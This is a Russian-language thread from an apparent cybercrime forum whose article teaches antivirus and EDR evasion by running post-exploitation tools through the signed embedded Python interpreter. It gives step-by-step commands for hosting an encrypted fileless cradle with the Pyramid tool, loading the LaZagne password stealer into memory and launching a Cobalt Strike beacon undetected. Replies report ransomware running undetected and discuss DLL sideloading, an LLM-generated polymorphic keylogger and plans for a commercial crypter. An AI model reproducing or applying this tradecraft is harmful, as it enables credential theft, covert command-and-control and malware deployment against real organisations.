• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход AV, EDR, XDR

XSSBot

Форумный бот
Пользователь
Регистрация
31.12.2005
Сообщения
1 473
Реакции
898
Автор dunkel
Статья написана для
Конкурса статей #10


Теория
Всем привет, эта статья будет про технику обхода антивирусов и EDR с помощью интерпретаторов ЯП (но все не так просто). Некоторые селлеры услуг по обходу edr пользуются этим методом, берут по 5к$ с клиентов, зарабатывая неплохие деньги. Тема актуальная и востребованная, надеюсь кому то поможет в работе)
На роль языка есть несколько кандидатов, это должен быть скриптовый язык со своим подписанным интерпретатором, например подходящие нам: Python, JavaScript, Ruby, F# (позволяет писать скрипты .fsx).

Суть техники заключается в том что edr не может нормально анализировать что там вообще в интерпретаторах происходит, где каша из нескольких уровней абстракции (библиотеки предоставляют высокоуровневые абстракции для системных операций), шума из событий, оптимизаций, динамического связывания, невомзожность четко отслеживать контекст и т.д. Для эврестического анализатора выполнение вредоносного кода не сильно отличается от легального ПО. Поэтому аверские поделия чаще просто ничего не делают, чтобы избежать проблем и ложно-положительных детектов которые бы мешали работе людей и бизнеса. Плюс вся подозрительная телеметрия будет идти от подписанного бинаря, к которым больше доверия (метрики file reputation, trust score и проч, которые учавствуют в решении как расценивать поведение программы). И многое за что бы проактивная система могла стопнуть ноунейм exe билд, позволительно для нашего подписанного легитимного интерпретатора.
Чтобы доказать что техника мощная и рабочая, для тестов я постараюсь взять самые грязные утилиты/билды с максимумом детектов.

В качестве интерпретируемого языка возьмем python (так как под него много чего написано, в том числе легального ПО, и он самый популярный)
С выходом питона 3.5 появилась embedded версия (еще иногда называют standalone, portable) питоновского интерпретатора, которую можно запускать без установки, просто скачав или закинув на диск.
Внутри архива Python Embeddable package есть две подписанных .exe:
python.exe - стандартный standalone интерпретатор, который запускается с окном для вывода информации в консоль
и pythonw.exe - тот же интерпретатор, но запускается headless (без видимого для юзера окна)

1734767765591.png


У меня для разнообразия тестов несколько виртуалок
windows server 2019 с Kaspersky Endpoint Security (есть триал)
windows 10 ltsc с Microsoft Defender
windows 8 с Symantec Endpoint Protection

Практика и тесты
Качаем архив с интерпритатором на виртуалку с edr и распаковываем. Допустим мы хотим запустить на машине какой нибудь скрипт/тулзу на питоне для пост эксплуатации (у которых скантайм и рантайм детекты), например скрипты из impacket, lazagne, pypykatz (переписанный на питоне mimikatz).
Попробуем скачать и распаковать архив с impacket
Invoke-WebRequest https://github.com/fortra/impacket/archive/refs/heads/master.zip -OutFile master.zip; Expand-Archive -Path master.zip -DestinationPath . -Force

1734816997469.png


Edr при статическом анализе очевидно сразу детектит (уведомляя админа/безопасников) и удаляет опасные файлы, т.к их сигнатуры попадают под банальные правила YARA сканнера.

1734816309828.png


Тоже самое с Lazagne, дефендер
Invoke-WebRequest https://github.com/AlessandroZ/LaZagne/archive/refs/heads/master.zip -OutFile master.zip; Expand-Archive -Path master.zip -DestinationPath . -Force
1734937390802.png

Значит пробуем доджить запись на диск и грузить все зависимости сразу в память. Тут можно изобрести велосипед самому, или воспользоваться готовой тулзой под пайтон например pyramid. Там уже есть несколько готовых модулей (спасибо добрым людям) которые могут подгружать тулзы и зависимости для них. Или можно написать свои
Какие есть готовы модули:
1734938633328.png


в dependencies их зависимости которые будем загружать в память
1734938725552.png


Попробуем запустить LaZagne из памяти, будет показательно, т.к у нее больше всех детектов
1734941220575.png


Сначала поднимем http сервер где будем хостить все
Клонируем пирамиду с гита
git clone https://github.com/naksyn/Pyramid
1734881095504.png


Далее cd в директориюPyramid/Server и генерим ssl сертификат, чтобы траффик был зашифрованным от анализа edr
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
1734933023621.png

В папке Server должно появиться два файла key.pem и cert.pem.

Смотрим свой адрес адаптера в локалке
1734932251934.png

Составляем команду
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle LaZagne.py
-u и -pass это установка кредов для basic auth чтобы никто не смог просто зайти на наш серв и посмотреть что мы хостим
-passenc ставим 12345, дальше его попросит
1734939598444.png


Скрипт гененрирует нам пейлоад (зашифрованный в base64 скрипт для бесфайловой доставки) - копируем его
В самом низу просит пасс, вводим наш 12345
1734939718708.png


Переключаемся на шиндоус виртуалку с kes, запускаем python.exe с админ правами (lazagne требуется чтобы состилить пароли), и вставляем наш зашифрованный скрипт
1734940674531.png


После запуска он подгружает зависимости с нашего http сервера через get запросы (192.164.159.142 это виктим машина с kes)
1734943602498.png


Логи kes, красных или оранжевых алертов нет, процесс не убит
1734940761411.png


Дефендер, также андетектед
1734941730892.png


Против таких приколов с андетектом комьюнити киберсеков было предложенно полурешение - Python Runtime Audit Hooks https://peps.python.org/pep-0578/
Описание от автора:
"The aim of these changes is to enable both application developers andsystem administrators to integrate Python into their existingmonitoring systems without dictating how those systems look or behave.We propose two API changes to enable this: an Audit Hook and VerifiedOpen Hook. Both are available from Python and native code, allowingapplications and frameworks written in pure Python code to takeadvantage of the extra messages, while also allowing embedders orsystem administrators to deploy builds of Python where auditing isalways enabled.Only CPython is bound to provide the native APIs as described here.Other implementations should provide the pure Python APIs, andmay provide native versions as appropriate for their underlyingruntimes. Auditing events are likewise considered implementationspecific, but are bound by normal feature compatibility guarantees.
Hooks are added by calling PySys_AddAuditHook() from C at any time,including before Py_Initialize(), or by callingsys.addaudithook() from Python code. Hooks cannot be removed orreplaced. For CPython, hooks added from C are global, while hooks addedfrom Python are only for the current interpreter. Global hooks areexecuted before interpreter hooks.
When events of interest are occurring, code can either callPySys_Audit() from C (while the GIL is held) or sys.audit(). Thestring argument is the name of the event, and the tuple containsarguments. A given event name should have a fixed schema for arguments,which should be considered a public API (for each x.y version release),and thus should only change between feature releases with updateddocumentation. To minimize overhead and simplify handling in native codehook implementations, named arguments are not supported."

Думаю понятно, предлагают использовать механизм этих хуков всяким поставщикам/провайдера антивирусных решений для рантайм анализа че там вообще происходит при выполнени. Благо эти пока никто не пользуется

Запуск exe/dll из под python
Теперь попробуем какой нибудь C2 фреймворк, я специально возьму незакриптованную stageless кобу (науч. Cobalt Strike) с ее 60 детектами. Просто так дллку кобы на машине с edr нам не запустить. Но существует техника загрузки PE в память, и проект автоматизирующий ее на питоне https://github.com/naksyn/PythonMemoryModule
И его можно использовать в комбинации с нашей техникой.

В кобе оздаем https listener на допустим 8000 порту (443 и 80 заняты нашим сервером с зависимостями)
Создаем windows stageless payload, допустим exe, x64(x86 не запуститься из под x64 питоновского интерпретатора), exit function выбираем thread (если есть возможность, например вы используете другой фреймворк или аддоны, попробуйте fiber https://de-engineer.github.io/Processes-threads-jobs-fibers/#fibers)
1734952743282.png

Генерируем и сохраняем в директорию /Server/Delivery_files/ и переменовываем в chisel.exe

1734952808051.png

Либо можете в /Server/Modules/pythonmemorymodule.py название на 58 строчке поменять
1734952883024.png


Запускаем сервер
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle pythonmemorymodule.py
Копируем python пейлоад и вставляем в интерпретатор
Получаем отстук бикона и сессию кобы
Напомню я ничего не криптовал, детектов на билде больше чем у меня было баллов на егэ. А если взять самописный редтим арсенал, или с приватным криптом... у аверов от одной мысли повышается артериальное давление
1734954476117.png


Если такой контент вам понравится и соберет несколько лайков, постараюсь выложить похожый гайд по JavaScript и его интерпретаторам для windows, там тоже все очень интересно и большой потенциал для сокрытия от проактивных систем.
 

Вложения

  • 1734938667570.png
    1734938667570.png
    33.5 КБ · Просмотры: 73
  • 1734767947307.png
    1734767947307.png
    30.7 КБ · Просмотры: 65
  • 1734881174733.png
    1734881174733.png
    29.8 КБ · Просмотры: 67
  • 1734933520447.png
    1734933520447.png
    82.5 КБ · Просмотры: 63
  • 1734933528866.png
    1734933528866.png
    118.1 КБ · Просмотры: 71
  • 1734941824056.png
    1734941824056.png
    20.9 КБ · Просмотры: 84
Последнее редактирование модератором:
Сначала не поверил) проверил, подтверждаю - некриптованные шкаф и br спокойно запустились на машинах с eset endpoint и mcafee, рантайм не палиться.
1734995189276.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
выложить похожый гайд по JavaScript и его интерпретаторам для windows
Кстати с нодой верно, все так же, я хотел устанавливать вообще ноду у юзера, и уже разворачивать малварь, которая сама себя после первого запуска обфусцировала.
Тут можно все версий скомпиленные и подписанные достать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Всё еще куда проще, чем вы думаете. Кто помнит этот тред
http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/119073/

Где в качестве пайлода был питон. Так вот суть в том чтобы обойти любую EDR систему заключается в том, чтобы просто скинуть легетивный файл. Не вредоносный. А после этого ты уже можешь подтянуть файл и исполнить его.

Но авторы BlackMamba пошли дальше этого способа и фишка еще дополнительно в том, что пайлод то каждый раз подтягивается разный (полиморф), как только LLM агент(по факту скрипт) обращает по API к LLM с нужным промптом, та уже генерирует кейлоггер.

Автор статьи молодец, открыл приват, который валяется в паблике. Ждем новости читаем твиттеры.
 
Забавно, очередное подтверждение тезиса, что любая самая сложная система защиты, обходится неочевидными, но примитивными методами.

* пошел делать коммерческий криптор на основе этого метода) *
 
Последнее редактирование:
не плохо, у меня была похожая идея, но софт без подписи - использовать tcc и сурс код накрытый обфом
 
не плохо, у меня была похожая идея, но софт без подписи - использовать tcc и сурс код накрытый обфом
С подписью проще. Можно еще искать в подписанных софтах функции или уязвимости типо arbitrary code execution или dll hijacking, чтобы лоадер подгружал уязвимую софтину с офф сайта и от лица подписанной exe выполнял свой код. Такая альтернатива виндовой функции CreateRemoteThread которая сразу детектиться
 
Четко, доступно и просто. Видел первый раз подобное у сноукраша https://snovvcrash[.]rocks/2023/04/05/python-pyramid.html, но не дошла вся прелесть такого способа загрузки, а тут детально и с видео (для визуалов как я)
Автору респект!
Можно, вероятно, запускать по типу python(w).exe -c "import......" - если гуи, рдп нет на таргет машине а только шелл. И все ли файлы ебмеддеда нужно затаскивать? для длл сайдлоада прокатывает чисто ехе + свой фальшивый длл

Где то же есть там модуль embedded - который в ехе склеит всё и даже питона (по типу py2exe)? Или это отдельная фишка. Смотрел пирамиду внимательно, когда там еще в зип были модули под лазанью и ко.
"(C) redteam
https://t[.]me/RedTeambro/356
https://www.huntress[.]com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader (об атаке APT-группировки.)
dnMerge (https://github[.]com/CCob/dnMerge).
открываем CSharp проект. И устанавливаем IronPython
https://gist.github[.]com/MzHmO/ca540bbb923fc80f5596ff166fc79cd7)
Перечислить доступные модули можно вот так (https://gist.github[.]com/MzHmO/7b27ea3a735e4c6014b97ec9c135a144).
А здесь (https://gist.github[.]com/MzHmO/71a84428d73758c30fbed320e0b355c5) пример кода, в котором, благодаря модулю clr импортировался CSharp (питовноский os недоступен) неймспейс System.IO и происходила работа с файлами.
Убедившись, что код работает, добавляйте NuGet-пакет dnMerge и компильте в Release. На выходе получите ехешник (достаточно большого размера!) с встроенным интерпретатором Python
1735134718307.png

1735134749913.png

1735134780832.png

+ еще фишка
"
1735132917442.png

(C) snovvcrash
достаточно положить только рантайм python.dll, все остальное можно делать из памяти, i.e. никого запуска python.exe в процессах или левых бинарей "


Может быть автор имея опыт работы с данной тулзой (пирамидой) , прольет свет и на такие методы, был бы признателен (ибо сам тупенький). Давно жду когда питона по дефолту завезут в винду товарищи из Индии!

С подписью проще. Можно еще искать в подписанных софтах функции или уязвимости типо arbitrary code execution или dll hijacking, чтобы лоадер подгружал уязвимую софтину с офф сайта и от лица подписанной exe выполнял свой код. Такая альтернатива виндовой функции CreateRemoteThread которая сразу детектиться
Подписанным хромом , или тeams и тд, запустить длл сайдлоад - им затащить питона , который запустит пирамиду, что покажет юзеру калькулятор)
 
Последнее редактирование:
Всё еще куда проще, чем вы думаете. Кто помнит этот тред
http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/119073/

Где в качестве пайлода был питон. Так вот суть в том чтобы обойти любую EDR систему заключается в том, чтобы просто скинуть легетивный файл. Не вредоносный. А после этого ты уже можешь подтянуть файл и исполнить его.

Но авторы BlackMamba пошли дальше этого способа и фишка еще дополнительно в том, что пайлод то каждый раз подтягивается разный (полиморф), как только LLM агент(по факту скрипт) обращает по API к LLM с нужным промптом, та уже генерирует кейлоггер.

Автор статьи молодец, открыл приват, который валяется в паблике. Ждем новости читаем твиттеры.
Всё новое — это хорошо забытое старое.
 
Тезисно:
1)Паблик из 2022
2)Было уже на форуме https://xss.pro/threads/75193/
3)Палиться , например , софосом (от анализа поведения не уйти не меняя исхода)
4)Да , по сути это ультимативный способ обхода статики (не берем в расчет тредлокер и аналоги)
5)Пиздец , статьи которые мы заслужили
 
Тезисно:
1)Паблик из 2022
2)Было уже на форуме https://xss.pro/threads/75193/
3)Палиться , например , софосом (от анализа поведения не уйти не меняя исхода)
4)Да , по сути это ультимативный способ обхода статики (не берем в расчет тредлокер и аналоги)
5)Пиздец , статьи которые мы заслужили
Ну я например как новичок не знал про эту технику, а тут разжовано как запустить свой exe. А вообще так можно про любую статью сказать в интернете, типо "я это уже знаю, автор удаляй"
 
Такая себе альтернатива. Передачу управления не через создание потоков можно реализовать многими способами
Перечислите, может чего то не знаю, реально интересно. Эти функции ловятся всеми edr: NtCreateThreadEx, SetThreadContext, SetWindowsHookEx, WriteProcessMemory, VirtualAllocEx
 
Ну я например как новичок не знал про эту технику, а тут разжовано как запустить свой exe. А вообще так можно про любую статью сказать в интернете, типо "я это уже знаю, автор удаляй"
Статьи на конкурс с тоталом в 20к баксов должны иметь другой уровень, совершенно другой уровень
 
не плохо, у меня была похожая идея, но софт без подписи - использовать tcc и сурс код накрытый обфом
tcc это tiny c compiler? и он умеет в интерпретацию? мне кажеться не получиться с детектами, надо брать именно высокоуровневый язык
 
tcc это tiny c compiler? и он умеет в интерпретацию? мне кажеться не получиться с детектами, надо брать именно высокоуровневый язык
Насколько мне известно там есть интерпретация кода

с детектами хз, условно говоря тебе надо распарсить сурсы, обработать каждую инструкцию, и выполнять уже эти инструкции

В общем зависит от компилятора

> надо брать именно высокоуровневый язык
Как вариант, но на питоне ты ограничен высокоуровневостью
 
Всё еще куда проще, чем вы думаете. Кто помнит этот тред
http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/119073/

Где в качестве пайлода был питон. Так вот суть в том чтобы обойти любую EDR систему заключается в том, чтобы просто скинуть легетивный файл. Не вредоносный. А после этого ты уже можешь подтянуть файл и исполнить его.

Но авторы BlackMamba пошли дальше этого способа и фишка еще дополнительно в том, что пайлод то каждый раз подтягивается разный (полиморф), как только LLM агент(по факту скрипт) обращает по API к LLM с нужным промптом, та уже генерирует кейлоггер.

Автор статьи молодец, открыл приват, который валяется в паблике. Ждем новости читаем твиттеры.
да питон сам по себе легальный криптор, как бы все не ржали над стиллерами на питоне от нейронок - главное что работает, и детектов меньше чем у плюсов или c#
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх